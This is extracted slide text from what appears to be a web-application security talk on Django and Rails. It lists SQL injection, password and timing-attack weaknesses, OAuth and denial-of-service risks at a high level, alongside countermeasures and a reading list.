  • 49. SQL Injection in DjangoParameterized queriesLIKE queries are escapedAttacksWHERE is still injectablePeople use cursor.raw() all the timeCharacter escaping is always being brokenMore python unicode fun….
  • 50. SQL Injection in RailsUses regular expression to “escape” valuesEven with parameterized queries *.connection.quoteVery easy to execute raw SQLwhereorder
  • 51. Attack ScenariosInformation theftHosting malware or exploitsFull site exploitation
  • 52. Counter MeasuresOnly use permissions that you needValidate and sanitize all input (twice cannot hurt)Encrypt sensitive data
  • 53. Passwords in DjangoBrute force friendlySalted hashesGood but not perfectTiming attacksMitigation added in 1.3 but flawed due to pythons string internCompatible with older insecure hashesThe Achilles heel of any system
  • 54. Passwords in RailsNo authenticationVery popularREST AuthenticationBlind use of params[:]Clear text passwords in the logsBrute force friendlySalted hashesGood but not perfectTiming attacks
  • 55. What are timing attacksSide channel attacksLinear operationsThe dangerous binary comparison..
  • 57. AuthenticationOAUTHEveryone forgets to use SSLEven if you do your still opening yourself up to a Man In The Middle AttackBestWorst
  • 58. Attack ScenariosCrack passwordSQL injectionBrute ForcePhishingDDOSNo SSL on OAuthEven with SSL still vulnerable to a Man In the Middle attackHave fun
  • 59. CountermeasuresDual factor authenticationRate limit authentication logicMonitoringTough permission checksWhitelists/blacklistsCertificate authentication to verify the provider
  • 60. Denial of Service in Django & Rails Remember the GILNo rate limitingSwitching HTTP methodsPythonVirtual methods callsRubySlow method dispatch
  • 61. Great another crazy guy screaming about the end of the world.Never rely on one thing alone.Ask yourself at every point of your application. “If someone penetrated until here what is stopping him?” Onion?Code defensivelyRemember that unknown variables will enter the equation and you have to account for them.Monitor everythingShow you careCreate a security pageMake sure to include a PGP keyCreate an incident response documentGive it a trial runRemember a good programmer looks both ways before crossing a one way street.
  • 62. Recommended Reading Generalhttps://www.owasp.orghttps://www.owasp.org/index.php/Top_10_2010-MainWriting Secure Code (by Microsoft Press)Hacking Exposed web applicationsThe Web Application Hacker's Handbookhttp://www.reddit.com/r/netsecDjangohttp://www.djangobook.com/en/2.0/chapter20/Railshttp://www.rorsecurity.info/http://groups.google.com/group/rubyonrails-securityToolshttp://www.metasploit.com/download/http://w3af.sourceforge.net/

Editor's Notes

  • #34: All windows machines have this issue due to netbios \\\\